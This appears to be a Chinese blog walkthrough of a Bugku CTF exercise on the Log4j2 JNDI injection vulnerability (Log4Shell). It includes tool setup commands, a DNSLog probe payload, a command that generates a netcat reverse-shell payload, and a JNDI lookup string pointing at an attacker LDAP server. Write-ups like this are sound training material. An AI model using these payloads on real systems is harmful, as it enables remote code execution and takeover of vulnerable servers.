Log4j2组件漏洞-JNDI注入

Log4j2漏洞成因

Log4j2是Java中常用于查询、输出日志的框架,提供了一个名为Lookup的组件,用户通过LDAP协议可以请求数据,还可以请求Java对象。同时JNDI支持远程下载class文件构建对象,这直接导致了安全问题:若class文件有恶意代码,则会被攻击。

JNDI注入原理

通过注入JNDI语句控制服务器远程下载class文件并加载对象,实现任意命令执行

JNDI注入工具使用

环境要求:已安装Java、maven

安装工具:

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests

工具使用:(在JNDI-Injection-Exploit-master文件夹中)

#生成payload
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "[要执行的命令]" -A [攻击机IP]

将生成的payoload拼接成JNDI语句,传入JNDI语句给目标执行

Bugku平台-JNDI靶机漏洞复现

题目地址:Apache Log4j2 RCE – Bugku CTF平台

利用dnslog外带检测网站(DNSLog Platform)生成一个url

image-20250704153850039

得到用于检测JNDI注入漏洞的语句

${jndi:ldap://oifm1v.dnslog.cn}

测试靶机输入口有无JNDI注入漏洞

image-20250704154205082

提交后在dnslog平台发现记录,说明存在JNDI注入漏洞

image-20250704154300897

使用JNDI注入工具生成用于反弹shell的payload

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc [攻击机IP] [监听端口] -e /bin/sh" -A [攻击机IP]
屏幕截图 2025-07-04 154657

在攻击机上新开一个界面,nc监听端口,同时将拼接得到JNDI注入语句交给目标执行

${jndi:ldap://47.120.52.135:1389/wwmsct}

得到反弹shell

image-20250705092201709

注意事项:该工具相比于jndi-server工具,把ldap/rmi与http服务绑在了一起启动,且http服务是通过JettyServer跑起来的,所以使用的时候,服务器不仅要打开1389或1099端口,还要打开8180端口,否则弹shell不成功。

欢迎评论区中交流
No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Previous
Next